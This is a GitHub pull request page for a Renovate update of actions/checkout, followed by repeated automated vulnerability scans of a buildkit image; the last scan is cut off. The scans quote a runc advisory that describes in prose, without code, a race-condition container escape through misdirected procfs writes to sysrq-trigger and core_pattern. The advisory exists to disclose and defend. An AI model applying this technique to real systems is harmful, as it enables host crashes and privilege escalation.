deps(deps): update actions/checkout action to v6

[renovate]

This PR contains the following updates:

Package	Type	Update	Change
actions/checkout	action	major	v4.2.2 → v6.0.2

---

Release Notes

actions/checkout (actions/checkout)

v6.0.2

Compare Source

• Fix tag handling: preserve annotations and explicit fetch-tags by @​ericsciple in #​2356

v6.0.1

Compare Source

v6.0.0

Compare Source

v5.0.1

Compare Source

What's Changed

• Port v6 cleanup to v5 by @​ericsciple in #​2301

Full Changelog: actions/checkout@v5...v5.0.1

v5.0.0

Compare Source

What's Changed

• Update actions checkout to use node 24 by @​salmanmkc in #​2226
• Prepare v5.0.0 release by @​salmanmkc in #​2238

⚠️ Minimum Compatible Runner Version

v2.327.1
Release Notes

Make sure your runner is updated to this version or newer to use this release.

Full Changelog: actions/checkout@v4...v5.0.0

v4.3.1

Compare Source

What's Changed

• Port v6 cleanup to v4 by @​ericsciple in #​2305

Full Changelog: actions/checkout@v4...v4.3.1

v4.3.0

Compare Source

What's Changed

• docs: update README.md by @​motss in #​1971
• Add internal repos for checking out multiple repositories by @​mouismail in #​1977
• Documentation update - add recommended permissions to Readme by @​benwells in #​2043
• Adjust positioning of user email note and permissions heading by @​joshmgross in #​2044
• Update README.md by @​nebuk89 in #​2194
• Update CODEOWNERS for actions by @​TingluoHuang in #​2224
• Update package dependencies by @​salmanmkc in #​2236
• Prepare release v4.3.0 by @​salmanmkc in #​2237

New Contributors

• @​motss made their first contribution in #​1971
• @​mouismail made their first contribution in #​1977
• @​benwells made their first contribution in #​2043
• @​nebuk89 made their first contribution in #​2194
• @​salmanmkc made their first contribution in #​2236

Full Changelog: actions/checkout@v4...v4.3.0

---

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🔍 Vulnerabilities of moby/buildkit:buildx-stable-1

📦 Image Reference moby/buildkit:buildx-stable-1

digest	sha256:fe0990fb85c4586aaa94e599905b75a2676664f065f29bea67ebcd5b2fe88acb
vulnerabilities
platform	linux/amd64
size	111 MB
packages	251

📦 Base Image alpine:3

also known as	3.22 3.22.2 af829cb99e2e0ed9843029ba4b20af63bf652e3f57b9aaa049744a8b64d7c608 latest
digest	sha256:85f2b723e106c34644cd5851d7e81ee87da98ac54672b29947c052a45d31dc2f
vulnerabilities

stdlib 1.25.0 (golang) pkg:golang/stdlib@1.25.0 Affected range >=1.25.0 <1.25.2 Fixed version 1.25.2 EPSS Score 0.075% EPSS Percentile 19th percentile Description The ParseAddress function constructeds domain-literal address components through repeated string concatenation. When parsing large domain-literal components, this can cause excessive CPU consumption. Affected range >=1.25.0 <1.25.2 Fixed version 1.25.2 EPSS Score 0.075% EPSS Percentile 19th percentile Description The processing time for parsing some invalid inputs scales non-linearly with respect to the size of the input. This affects programs which parse untrusted PEM inputs. Affected range >=1.25.0 <1.25.2 Fixed version 1.25.2 EPSS Score 0.033% EPSS Percentile 5th percentile Description Validating certificate chains which contain DSA public keys can cause programs to panic, due to a interface cast that assumes they implement the Equal method. This affects programs which validate arbitrary certificate chains. Affected range >=1.25.0 <1.25.3 Fixed version 1.25.3 EPSS Score 0.033% EPSS Percentile 5th percentile Description Due to the design of the name constraint checking algorithm, the processing time of some inputs scals non-linearly with respect to the size of the certificate. This affects programs which validate arbitrary certificate chains.

github.com/opencontainers/selinux 1.12.0 (golang) pkg:golang/github.com/opencontainers/selinux@1.12.0 Race Condition Enabling Link Following Affected range <=1.12.0 Fixed version 1.13.0 CVSS Score 7.3 CVSS Vector CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:A/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H EPSS Score 0.018% EPSS Percentile 2nd percentile Description Impact This attack is primarily a more sophisticated version of CVE-2019-19921, which was a flaw which allowed an attacker to trick runc into writing the LSM process labels for a container process into a dummy tmpfs file and thus not apply the correct LSM labels to the container process. The mitigation runc applied for CVE-2019-19921 was fairly limited and effectively only caused runc to verify that when runc writes LSM labels that those labels are actual procfs files. Rather than using a fake tmpfs file for /proc/self/attr/<label>, an attacker could instead (through various means) make /proc/self/attr/<label> reference a real procfs file, but one that would still be a no-op (such as /proc/self/sched). This would have the same effect but would clear the "is a procfs file" check. Runc is aware that this kind of attack would be possible (even going so far as to discuss this publicly as "future work" at conferences), and runc is working on a far more comprehensive mitigation of this attack, but this security issue was disclosed before runc could complete this work. In all known versions of runc, an attacker can trick runc into misdirecting writes to /proc to other procfs files through the use of a racing container with shared mounts (runc has also verified this attack is possible to exploit using a standard Dockerfile with docker buildx build as that also permits triggering parallel execution of containers with custom shared mounts configured). This redirect could be through symbolic links in a tmpfs or theoretically other methods such as regular bind-mounts. Note that while /proc/self/attr/<label> was the example used above (which is LSM-specific), this issue affect all writes to /proc in runc and thus also affects sysctls (written to /proc/sys/...) and some other APIs. Additional Impacts While investigating this issue, runc discovered that another risk with these redirected writes is that they could be redirected to dangerous files such as /proc/sysrq-trigger rather than just no-op files like /proc/self/sched. For instance, the default AppArmor profile name in Docker is docker-default, which when written to /proc/sysrq-trigger would cause the host system to crash. When this was discovered, runc conducted an audit of other write operations within runc and found several possible areas where runc could be used as a semi-arbitrary write gadget when combined with the above race attacks. The most concerning attack scenario was the configuration of sysctls. Because the contents of the sysctl are free-form text, an attacker could use a misdirected write to write to /proc/sys/kernel/core_pattern and break out of the container (as described in CVE-2025-31133, kernel upcalls are not namespaced and so coredump helpers will run with complete root privileges on the host). Even if the attacker cannot configure custom sysctls, a valid sysctl string (when redirected to /proc/sysrq-trigger) can easily cause the machine to hang. Note that the fact that this attack allows you to disable LSM labels makes it a very useful attack to combine with CVE-2025-31133 (as one of the only mitigations available to most users for that issue is AppArmor, and this attack would let you bypass that). However, the misdirected write issue above means that you could also achieve most of the same goals without needing to chain together attacks. Patches This advisory is being published as part of a set of three advisories: CVE-2025-31133 CVE-2025-52881 CVE-2025-52565 The patches fixing this issue have accordingly been combined into a single patchset. The following patches from that patchset resolve the issues in this advisory: db19bbed5348 ("internal/sys: add VerifyInode helper") 6fc191449109 ("internal: move utils.MkdirAllInRoot to internal/pathrs") ff94f9991bd3 ("*: switch to safer securejoin.Reopen") 44a0fcf685db ("go.mod: update to github.com/cyphar/filepath-securejoin@v0.5.0") 77889b56db93 ("internal: add wrappers for securejoin.Proc*") fdcc9d3cad2f ("apparmor: use safe procfs API for labels") ff6fe1324663 ("utils: use safe procfs for /proc/self/fd loop code") b3dd1bc562ed ("utils: remove unneeded EnsureProcHandle") 77d217c7c377 ("init: write sysctls using safe procfs API") 435cc81be6b7 ("init: use securejoin for /proc/self/setgroups") d61fd29d854b ("libct/system: use securejoin for /proc/$pid/stat") 4b37cd93f86e ("libct: align param type for mountCgroupV1/V2 functions") d40b3439a961 ("rootfs: switch to fd-based handling of mountpoint targets") ed6b1693b8b3 ("selinux: use safe procfs API for labels") Please note that this patch includes a private patch for github.com/opencontainers/selinux that could not be made public through a public pull request (as it would necessarily disclose this embargoed security issue). The patch includes a complete copy of the forked code and a replace directive (as well as go mod vendor applied), which should still work with downstream build systems. If you cannot apply this patch, you can safely drop it -- some of the other patches in this series should block these kinds of racing mount attacks entirely. See selinux: migrate to pathrs-lite procfs API opencontainers/selinux#237 for the upstream patch. 3f925525b44d ("rootfs: re-allow dangling symlinks in mount targets") a41366e74080 ("openat2: improve resilience on busy systems") runc 1.2.8, 1.3.3, and 1.4.0-rc.3 have been released and all contain fixes for these issues. As per runc's new release model, runc 1.1.x and earlier are no longer supported and thus have not been patched. Mitigations Do not run untrusted container images from unknown or unverified sources. For the basic no-op attack, this attack allows a container process to run with the same LSM labels as runc. For most AppArmor deployments this means it will be unconfined, and for SELinux it will likely be container_runtime_t. Runc has not conducted in-depth testing of the impact on SELinux -- it is possible that it provides some reasonable protection but it seems likely that an attacker could cause harm to systems even with such an SELinux setup. For the more involved redirect and write gadget attacks, unfortunately most LSM profiles (including the standard container-selinux profiles) provide the container runtime access to sysctl files (including /proc/sysrq-trigger) and so LSMs likely do not provide much protection against these attacks. Using rootless containers provides some protection against these kinds of bugs (privileged writes in runc being redirected) -- by having runc itself be an unprivileged process, in general you would expect the impact scope of a runc bug to be less severe as it would only have the privileges afforded to the host user which spawned runc. For this particular bug, the privilege escalation caused by the inadvertent write issue is entirely mitigated with rootless containers because the unprivileged user that the runc process is executing as cannot write to the aforementioned procfs files (even intentionally). Other Runtimes As this vulnerability boils down to a fairly easy-to-make logic bug, runc has provided information to other OCI (crun, youki) and non-OCI (LXC) container runtimes about this vulnerability. Based on discussions with other runtimes, it seems that crun and youki may have similar security issues and will release a co-ordinated security release along with runc. LXC appears to use the host's /proc for all procfs operations, and so is likely not vulnerable to this issue (this is a trade-off -- runc uses the container's procfs to avoid CVE-2016-9962-style attacks). Credits Thanks to Li Fubang (@lifubang from acmcoder.com, CIIC) and Tõnis Tiigi (@tonistiigi from Docker) for both independently discovering this vulnerability, as well as Aleksa Sarai (@cyphar from SUSE) for the original research into this class of security issues and solutions. Additional thanks go to Tõnis Tiigi for finding some very useful exploit templates for these kinds of race attacks using docker buildx build.

golang.org/x/crypto 0.42.0 (golang) pkg:golang/golang.org/x/crypto@0.42.0 Affected range <0.43.0 Fixed version 0.43.0 EPSS Score 0.055% EPSS Percentile 13th percentile Description SSH clients receiving SSH_AGENT_SUCCESS when expecting a typed response will panic and cause early termination of the client process.

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Recommended fixes for image moby/buildkit:buildx-stable-1

Base image is alpine:3

Name	3.22.2
Digest	sha256:85f2b723e106c34644cd5851d7e81ee87da98ac54672b29947c052a45d31dc2f
Vulnerabilities
Pushed	1 month ago
Size	3.8 MB
Packages	20
OS	3.22.2

The base image is also available under the supported tag(s): 3.22, 3.22.2, latest

Refresh base image

Rebuild the image using a newer base image version. Updating this may result in breaking changes.

✅ This image version is up to date.

Change base image

Tag	Details	Pushed	Vulnerabilities
3.21 Tag is preferred tag Also known as: 3.21.5	Benefits: Image is smaller by 156 KB Minor OS version update Image contains 1 fewer package Tag is preferred tag Tag was pushed more recently Image has same number of vulnerabilities Image details: Size: 3.6 MB OS: 3.21.5	1 month ago

[github-actions]

Outdated

🔍 Vulnerabilities of moby/buildkit:buildx-stable-1

📦 Image Reference moby/buildkit:buildx-stable-1

digest	sha256:fe0990fb85c4586aaa94e599905b75a2676664f065f29bea67ebcd5b2fe88acb
vulnerabilities
platform	linux/amd64
size	111 MB
packages	251

📦 Base Image alpine:3

also known as	3.22 3.22.2 af829cb99e2e0ed9843029ba4b20af63bf652e3f57b9aaa049744a8b64d7c608 latest
digest	sha256:85f2b723e106c34644cd5851d7e81ee87da98ac54672b29947c052a45d31dc2f
vulnerabilities

stdlib 1.25.0 (golang) pkg:golang/stdlib@1.25.0 Affected range >=1.25.0 <1.25.2 Fixed version 1.25.2 EPSS Score 0.075% EPSS Percentile 19th percentile Description The ParseAddress function constructeds domain-literal address components through repeated string concatenation. When parsing large domain-literal components, this can cause excessive CPU consumption. Affected range >=1.25.0 <1.25.2 Fixed version 1.25.2 EPSS Score 0.075% EPSS Percentile 19th percentile Description The processing time for parsing some invalid inputs scales non-linearly with respect to the size of the input. This affects programs which parse untrusted PEM inputs. Affected range >=1.25.0 <1.25.2 Fixed version 1.25.2 EPSS Score 0.033% EPSS Percentile 5th percentile Description Validating certificate chains which contain DSA public keys can cause programs to panic, due to a interface cast that assumes they implement the Equal method. This affects programs which validate arbitrary certificate chains. Affected range >=1.25.0 <1.25.3 Fixed version 1.25.3 EPSS Score 0.033% EPSS Percentile 5th percentile Description Due to the design of the name constraint checking algorithm, the processing time of some inputs scals non-linearly with respect to the size of the certificate. This affects programs which validate arbitrary certificate chains.

golang.org/x/crypto 0.42.0 (golang) pkg:golang/golang.org/x/crypto@0.42.0 Affected range <0.43.0 Fixed version 0.43.0 EPSS Score 0.055% EPSS Percentile 13th percentile Description SSH clients receiving SSH_AGENT_SUCCESS when expecting a typed response will panic and cause early termination of the client process.

github.com/opencontainers/selinux 1.12.0 (golang) pkg:golang/github.com/opencontainers/selinux@1.12.0 Race Condition Enabling Link Following Affected range <=1.12.0 Fixed version 1.13.0 CVSS Score 7.3 CVSS Vector CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:A/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H EPSS Score 0.018% EPSS Percentile 2nd percentile Description Impact This attack is primarily a more sophisticated version of CVE-2019-19921, which was a flaw which allowed an attacker to trick runc into writing the LSM process labels for a container process into a dummy tmpfs file and thus not apply the correct LSM labels to the container process. The mitigation runc applied for CVE-2019-19921 was fairly limited and effectively only caused runc to verify that when runc writes LSM labels that those labels are actual procfs files. Rather than using a fake tmpfs file for /proc/self/attr/<label>, an attacker could instead (through various means) make /proc/self/attr/<label> reference a real procfs file, but one that would still be a no-op (such as /proc/self/sched). This would have the same effect but would clear the "is a procfs file" check. Runc is aware that this kind of attack would be possible (even going so far as to discuss this publicly as "future work" at conferences), and runc is working on a far more comprehensive mitigation of this attack, but this security issue was disclosed before runc could complete this work. In all known versions of runc, an attacker can trick runc into misdirecting writes to /proc to other procfs files through the use of a racing container with shared mounts (runc has also verified this attack is possible to exploit using a standard Dockerfile with docker buildx build as that also permits triggering parallel execution of containers with custom shared mounts configured). This redirect could be through symbolic links in a tmpfs or theoretically other methods such as regular bind-mounts. Note that while /proc/self/attr/<label> was the example used above (which is LSM-specific), this issue affect all writes to /proc in runc and thus also affects sysctls (written to /proc/sys/...) and some other APIs. Additional Impacts While investigating this issue, runc discovered that another risk with these redirected writes is that they could be redirected to dangerous files such as /proc/sysrq-trigger rather than just no-op files like /proc/self/sched. For instance, the default AppArmor profile name in Docker is docker-default, which when written to /proc/sysrq-trigger would cause the host system to crash. When this was discovered, runc conducted an audit of other write operations within runc and found several possible areas where runc could be used as a semi-arbitrary write gadget when combined with the above race attacks. The most concerning attack scenario was the configuration of sysctls. Because the contents of the sysctl are free-form text, an attacker could use a misdirected write to write to /proc/sys/kernel/core_pattern and break out of the container (as described in CVE-2025-31133, kernel upcalls are not namespaced and so coredump helpers will run with complete root privileges on the host). Even if the attacker cannot configure custom sysctls, a valid sysctl string (when redirected to /proc/sysrq-trigger) can easily cause the machine to hang. Note that the fact that this attack allows you to disable LSM labels makes it a very useful attack to combine with CVE-2025-31133 (as one of the only mitigations available to most users for that issue is AppArmor, and this attack would let you bypass that). However, the misdirected write issue above means that you could also achieve most of the same goals without needing to chain together attacks. Patches This advisory is being published as part of a set of three advisories: CVE-2025-31133 CVE-2025-52881 CVE-2025-52565 The patches fixing this issue have accordingly been combined into a single patchset. The following patches from that patchset resolve the issues in this advisory: db19bbed5348 ("internal/sys: add VerifyInode helper") 6fc191449109 ("internal: move utils.MkdirAllInRoot to internal/pathrs") ff94f9991bd3 ("*: switch to safer securejoin.Reopen") 44a0fcf685db ("go.mod: update to github.com/cyphar/filepath-securejoin@v0.5.0") 77889b56db93 ("internal: add wrappers for securejoin.Proc*") fdcc9d3cad2f ("apparmor: use safe procfs API for labels") ff6fe1324663 ("utils: use safe procfs for /proc/self/fd loop code") b3dd1bc562ed ("utils: remove unneeded EnsureProcHandle") 77d217c7c377 ("init: write sysctls using safe procfs API") 435cc81be6b7 ("init: use securejoin for /proc/self/setgroups") d61fd29d854b ("libct/system: use securejoin for /proc/$pid/stat") 4b37cd93f86e ("libct: align param type for mountCgroupV1/V2 functions") d40b3439a961 ("rootfs: switch to fd-based handling of mountpoint targets") ed6b1693b8b3 ("selinux: use safe procfs API for labels") Please note that this patch includes a private patch for github.com/opencontainers/selinux that could not be made public through a public pull request (as it would necessarily disclose this embargoed security issue). The patch includes a complete copy of the forked code and a replace directive (as well as go mod vendor applied), which should still work with downstream build systems. If you cannot apply this patch, you can safely drop it -- some of the other patches in this series should block these kinds of racing mount attacks entirely. See selinux: migrate to pathrs-lite procfs API opencontainers/selinux#237 for the upstream patch. 3f925525b44d ("rootfs: re-allow dangling symlinks in mount targets") a41366e74080 ("openat2: improve resilience on busy systems") runc 1.2.8, 1.3.3, and 1.4.0-rc.3 have been released and all contain fixes for these issues. As per runc's new release model, runc 1.1.x and earlier are no longer supported and thus have not been patched. Mitigations Do not run untrusted container images from unknown or unverified sources. For the basic no-op attack, this attack allows a container process to run with the same LSM labels as runc. For most AppArmor deployments this means it will be unconfined, and for SELinux it will likely be container_runtime_t. Runc has not conducted in-depth testing of the impact on SELinux -- it is possible that it provides some reasonable protection but it seems likely that an attacker could cause harm to systems even with such an SELinux setup. For the more involved redirect and write gadget attacks, unfortunately most LSM profiles (including the standard container-selinux profiles) provide the container runtime access to sysctl files (including /proc/sysrq-trigger) and so LSMs likely do not provide much protection against these attacks. Using rootless containers provides some protection against these kinds of bugs (privileged writes in runc being redirected) -- by having runc itself be an unprivileged process, in general you would expect the impact scope of a runc bug to be less severe as it would only have the privileges afforded to the host user which spawned runc. For this particular bug, the privilege escalation caused by the inadvertent write issue is entirely mitigated with rootless containers because the unprivileged user that the runc process is executing as cannot write to the aforementioned procfs files (even intentionally). Other Runtimes As this vulnerability boils down to a fairly easy-to-make logic bug, runc has provided information to other OCI (crun, youki) and non-OCI (LXC) container runtimes about this vulnerability. Based on discussions with other runtimes, it seems that crun and youki may have similar security issues and will release a co-ordinated security release along with runc. LXC appears to use the host's /proc for all procfs operations, and so is likely not vulnerable to this issue (this is a trade-off -- runc uses the container's procfs to avoid CVE-2016-9962-style attacks). Credits Thanks to Li Fubang (@lifubang from acmcoder.com, CIIC) and Tõnis Tiigi (@tonistiigi from Docker) for both independently discovering this vulnerability, as well as Aleksa Sarai (@cyphar from SUSE) for the original research into this class of security issues and solutions. Additional thanks go to Tõnis Tiigi for finding some very useful exploit templates for these kinds of race attacks using docker buildx build.

[github-actions]

Outdated

🔍 Vulnerabilities of moby/buildkit:buildx-stable-1

📦 Image Reference moby/buildkit:buildx-stable-1

digest	sha256:fe0990fb85c4586aaa94e599905b75a2676664f065f29bea67ebcd5b2fe88acb
vulnerabilities
platform	linux/amd64
size	111 MB
packages	251

📦 Base Image alpine:3

also known as	3.22 3.22.2 af829cb99e2e0ed9843029ba4b20af63bf652e3f57b9aaa049744a8b64d7c608 latest
digest	sha256:85f2b723e106c34644cd5851d7e81ee87da98ac54672b29947c052a45d31dc2f
vulnerabilities

stdlib 1.25.0 (golang) pkg:golang/stdlib@1.25.0 Affected range >=1.25.0 <1.25.2 Fixed version 1.25.2 EPSS Score 0.075% EPSS Percentile 19th percentile Description The ParseAddress function constructeds domain-literal address components through repeated string concatenation. When parsing large domain-literal components, this can cause excessive CPU consumption. Affected range >=1.25.0 <1.25.2 Fixed version 1.25.2 EPSS Score 0.075% EPSS Percentile 19th percentile Description The processing time for parsing some invalid inputs scales non-linearly with respect to the size of the input. This affects programs which parse untrusted PEM inputs. Affected range >=1.25.0 <1.25.2 Fixed version 1.25.2 EPSS Score 0.033% EPSS Percentile 5th percentile Description Validating certificate chains which contain DSA public keys can cause programs to panic, due to a interface cast that assumes they implement the Equal method. This affects programs which validate arbitrary certificate chains. Affected range >=1.25.0 <1.25.3 Fixed version 1.25.3 EPSS Score 0.033% EPSS Percentile 5th percentile Description Due to the design of the name constraint checking algorithm, the processing time of some inputs scals non-linearly with respect to the size of the certificate. This affects programs which validate arbitrary certificate chains.

golang.org/x/crypto 0.42.0 (golang) pkg:golang/golang.org/x/crypto@0.42.0 Affected range <0.43.0 Fixed version 0.43.0 EPSS Score 0.055% EPSS Percentile 13th percentile Description SSH clients receiving SSH_AGENT_SUCCESS when expecting a typed response will panic and cause early termination of the client process.

github.com/opencontainers/selinux 1.12.0 (golang) pkg:golang/github.com/opencontainers/selinux@1.12.0 Race Condition Enabling Link Following Affected range <=1.12.0 Fixed version 1.13.0 CVSS Score 7.3 CVSS Vector CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:A/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H EPSS Score 0.018% EPSS Percentile 2nd percentile Description Impact This attack is primarily a more sophisticated version of CVE-2019-19921, which was a flaw which allowed an attacker to trick runc into writing the LSM process labels for a container process into a dummy tmpfs file and thus not apply the correct LSM labels to the container process. The mitigation runc applied for CVE-2019-19921 was fairly limited and effectively only caused runc to verify that when runc writes LSM labels that those labels are actual procfs files. Rather than using a fake tmpfs file for /proc/self/attr/<label>, an attacker could instead (through various means) make /proc/self/attr/<label> reference a real procfs file, but one that would still be a no-op (such as /proc/self/sched). This would have the same effect but would clear the "is a procfs file" check. Runc is aware that this kind of attack would be possible (even going so far as to discuss this publicly as "future work" at conferences), and runc is working on a far more comprehensive mitigation of this attack, but this security issue was disclosed before runc could complete this work. In all known versions of runc, an attacker can trick runc into misdirecting writes to /proc to other procfs files through the use of a racing container with shared mounts (runc has also verified this attack is possible to exploit using a standard Dockerfile with docker buildx build as that also permits triggering parallel execution of containers with custom shared mounts configured). This redirect could be through symbolic links in a tmpfs or theoretically other methods such as regular bind-mounts. Note that while /proc/self/attr/<label> was the example used above (which is LSM-specific), this issue affect all writes to /proc in runc and thus also affects sysctls (written to /proc/sys/...) and some other APIs. Additional Impacts While investigating this issue, runc discovered that another risk with these redirected writes is that they could be redirected to dangerous files such as /proc/sysrq-trigger rather than just no-op files like /proc/self/sched. For instance, the default AppArmor profile name in Docker is docker-default, which when written to /proc/sysrq-trigger would cause the host system to crash. When this was discovered, runc conducted an audit of other write operations within runc and found several possible areas where runc could be used as a semi-arbitrary write gadget when combined with the above race attacks. The most concerning attack scenario was the configuration of sysctls. Because the contents of the sysctl are free-form text, an attacker could use a misdirected write to write to /proc/sys/kernel/core_pattern and break out of the container (as described in CVE-2025-31133, kernel upcalls are not namespaced and so coredump helpers will run with complete root privileges on the host). Even if the attacker cannot configure custom sysctls, a valid sysctl string (when redirected to /proc/sysrq-trigger) can easily cause the machine to hang. Note that the fact that this attack allows you to disable LSM labels makes it a very useful attack to combine with CVE-2025-31133 (as one of the only mitigations available to most users for that issue is AppArmor, and this attack would let you bypass that). However, the misdirected write issue above means that you could also achieve most of the same goals without needing to chain together attacks. Patches This advisory is being published as part of a set of three advisories: CVE-2025-31133 CVE-2025-52881 CVE-2025-52565 The patches fixing this issue have accordingly been combined into a single patchset. The following patches from that patchset resolve the issues in this advisory: db19bbed5348 ("internal/sys: add VerifyInode helper") 6fc191449109 ("internal: move utils.MkdirAllInRoot to internal/pathrs") ff94f9991bd3 ("*: switch to safer securejoin.Reopen") 44a0fcf685db ("go.mod: update to github.com/cyphar/filepath-securejoin@v0.5.0") 77889b56db93 ("internal: add wrappers for securejoin.Proc*") fdcc9d3cad2f ("apparmor: use safe procfs API for labels") ff6fe1324663 ("utils: use safe procfs for /proc/self/fd loop code") b3dd1bc562ed ("utils: remove unneeded EnsureProcHandle") 77d217c7c377 ("init: write sysctls using safe procfs API") 435cc81be6b7 ("init: use securejoin for /proc/self/setgroups") d61fd29d854b ("libct/system: use securejoin for /proc/$pid/stat") 4b37cd93f86e ("libct: align param type for mountCgroupV1/V2 functions") d40b3439a961 ("rootfs: switch to fd-based handling of mountpoint targets") ed6b1693b8b3 ("selinux: use safe procfs API for labels") Please note that this patch includes a private patch for github.com/opencontainers/selinux that could not be made public through a public pull request (as it would necessarily disclose this embargoed security issue). The patch includes a complete copy of the forked code and a replace directive (as well as go mod vendor applied), which should still work with downstream build systems. If you cannot apply this patch, you can safely drop it -- some of the other patches in this series should block these kinds of racing mount attacks entirely. See selinux: migrate to pathrs-lite procfs API opencontainers/selinux#237 for the upstream patch. 3f925525b44d ("rootfs: re-allow dangling symlinks in mount targets") a41366e74080 ("openat2: improve resilience on busy systems") runc 1.2.8, 1.3.3, and 1.4.0-rc.3 have been released and all contain fixes for these issues. As per runc's new release model, runc 1.1.x and earlier are no longer supported and thus have not been patched. Mitigations Do not run untrusted container images from unknown or unverified sources. For the basic no-op attack, this attack allows a container process to run with the same LSM labels as runc. For most AppArmor deployments this means it will be unconfined, and for SELinux it will likely be container_runtime_t. Runc has not conducted in-depth testing of the impact on SELinux -- it is possible that it provides some reasonable protection but it seems likely that an attacker could cause harm to systems even with such an SELinux setup. For the more involved redirect and write gadget attacks, unfortunately most LSM profiles (including the standard container-selinux profiles) provide the container runtime access to sysctl files (including /proc/sysrq-trigger) and so LSMs likely do not provide much protection against these attacks. Using rootless containers provides some protection against these kinds of bugs (privileged writes in runc being redirected) -- by having runc itself be an unprivileged process, in general you would expect the impact scope of a runc bug to be less severe as it would only have the privileges afforded to the host user which spawned runc. For this particular bug, the privilege escalation caused by the inadvertent write issue is entirely mitigated with rootless containers because the unprivileged user that the runc process is executing as cannot write to the aforementioned procfs files (even intentionally). Other Runtimes As this vulnerability boils down to a fairly easy-to-make logic bug, runc has provided information to other OCI (crun, youki) and non-OCI (LXC) container runtimes about this vulnerability. Based on discussions with other runtimes, it seems that crun and youki may have similar security issues and will release a co-ordinated security release along with runc. LXC appears to use the host's /proc for all procfs operations, and so is likely not vulnerable to this issue (this is a trade-off -- runc uses the container's procfs to avoid CVE-2016-9962-style attacks). Credits Thanks to Li Fubang (@lifubang from acmcoder.com, CIIC) and Tõnis Tiigi (@tonistiigi from Docker) for both independently discovering this vulnerability, as well as Aleksa Sarai (@cyphar from SUSE) for the original research into this class of security issues and solutions. Additional thanks go to Tõnis Tiigi for finding some very useful exploit templates for these kinds of race attacks using docker buildx build.

[github-actions]

Outdated

🔍 Vulnerabilities of moby/buildkit:buildx-stable-1

📦 Image Reference moby/buildkit:buildx-stable-1

digest	sha256:fe0990fb85c4586aaa94e599905b75a2676664f065f29bea67ebcd5b2fe88acb
vulnerabilities
platform	linux/amd64
size	111 MB
packages	251

📦 Base Image alpine:3

also known as	3.22 3.22.2 af829cb99e2e0ed9843029ba4b20af63bf652e3f57b9aaa049744a8b64d7c608 latest
digest	sha256:85f2b723e106c34644cd5851d7e81ee87da98ac54672b29947c052a45d31dc2f
vulnerabilities

stdlib 1.25.0 (golang) pkg:golang/stdlib@1.25.0 Affected range >=1.25.0 <1.25.2 Fixed version 1.25.2 EPSS Score 0.075% EPSS Percentile 19th percentile Description The ParseAddress function constructeds domain-literal address components through repeated string concatenation. When parsing large domain-literal components, this can cause excessive CPU consumption. Affected range >=1.25.0 <1.25.2 Fixed version 1.25.2 EPSS Score 0.075% EPSS Percentile 19th percentile Description The processing time for parsing some invalid inputs scales non-linearly with respect to the size of the input. This affects programs which parse untrusted PEM inputs. Affected range >=1.25.0 <1.25.2 Fixed version 1.25.2 EPSS Score 0.033% EPSS Percentile 5th percentile Description Validating certificate chains which contain DSA public keys can cause programs to panic, due to a interface cast that assumes they implement the Equal method. This affects programs which validate arbitrary certificate chains. Affected range >=1.25.0 <1.25.3 Fixed version 1.25.3 EPSS Score 0.033% EPSS Percentile 5th percentile Description Due to the design of the name constraint checking algorithm, the processing time of some inputs scals non-linearly with respect to the size of the certificate. This affects programs which validate arbitrary certificate chains.

golang.org/x/crypto 0.42.0 (golang) pkg:golang/golang.org/x/crypto@0.42.0 Affected range <0.43.0 Fixed version 0.43.0 EPSS Score 0.055% EPSS Percentile 13th percentile Description SSH clients receiving SSH_AGENT_SUCCESS when expecting a typed response will panic and cause early termination of the client process.

github.com/opencontainers/selinux 1.12.0 (golang) pkg:golang/github.com/opencontainers/selinux@1.12.0 Race Condition Enabling Link Following Affected range <=1.12.0 Fixed version 1.13.0 CVSS Score 7.3 CVSS Vector CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:A/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H EPSS Score 0.018% EPSS Percentile 2nd percentile Description Impact This attack is primarily a more sophisticated version of CVE-2019-19921, which was a flaw which allowed an attacker to trick runc into writing the LSM process labels for a container process into a dummy tmpfs file and thus not apply the correct LSM labels to the container process. The mitigation runc applied for CVE-2019-19921 was fairly limited and effectively only caused runc to verify that when runc writes LSM labels that those labels are actual procfs files. Rather than using a fake tmpfs file for /proc/self/attr/<label>, an attacker could instead (through various means) make /proc/self/attr/<label> reference a real procfs file, but one that would still be a no-op (such as /proc/self/sched). This would have the same effect but would clear the "is a procfs file" check. Runc is aware that this kind of attack would be possible (even going so far as to discuss this publicly as "future work" at conferences), and runc is working on a far more comprehensive mitigation of this attack, but this security issue was disclosed before runc could complete this work. In all known versions of runc, an attacker can trick runc into misdirecting writes to /proc to other procfs files through the use of a racing container with shared mounts (runc has also verified this attack is possible to exploit using a standard Dockerfile with docker buildx build as that also permits triggering parallel execution of containers with custom shared mounts configured). This redirect could be through symbolic links in a tmpfs or theoretically other methods such as regular bind-mounts. Note that while /proc/self/attr/<label> was the example used above (which is LSM-specific), this issue affect all writes to /proc in runc and thus also affects sysctls (written to /proc/sys/...) and some other APIs. Additional Impacts While investigating this issue, runc discovered that another risk with these redirected writes is that they could be redirected to dangerous files such as /proc/sysrq-trigger rather than just no-op files like /proc/self/sched. For instance, the default AppArmor profile name in Docker is docker-default, which when written to /proc/sysrq-trigger would cause the host system to crash. When this was discovered, runc conducted an audit of other write operations within runc and found several possible areas where runc could be used as a semi-arbitrary write gadget when combined with the above race attacks. The most concerning attack scenario was the configuration of sysctls. Because the contents of the sysctl are free-form text, an attacker could use a misdirected write to write to /proc/sys/kernel/core_pattern and break out of the container (as described in CVE-2025-31133, kernel upcalls are not namespaced and so coredump helpers will run with complete root privileges on the host). Even if the attacker cannot configure custom sysctls, a valid sysctl string (when redirected to /proc/sysrq-trigger) can easily cause the machine to hang. Note that the fact that this attack allows you to disable LSM labels makes it a very useful attack to combine with CVE-2025-31133 (as one of the only mitigations available to most users for that issue is AppArmor, and this attack would let you bypass that). However, the misdirected write issue above means that you could also achieve most of the same goals without needing to chain together attacks. Patches This advisory is being published as part of a set of three advisories: CVE-2025-31133 CVE-2025-52881 CVE-2025-52565 The patches fixing this issue have accordingly been combined into a single patchset. The following patches from that patchset resolve the issues in this advisory: db19bbed5348 ("internal/sys: add VerifyInode helper") 6fc191449109 ("internal: move utils.MkdirAllInRoot to internal/pathrs") ff94f9991bd3 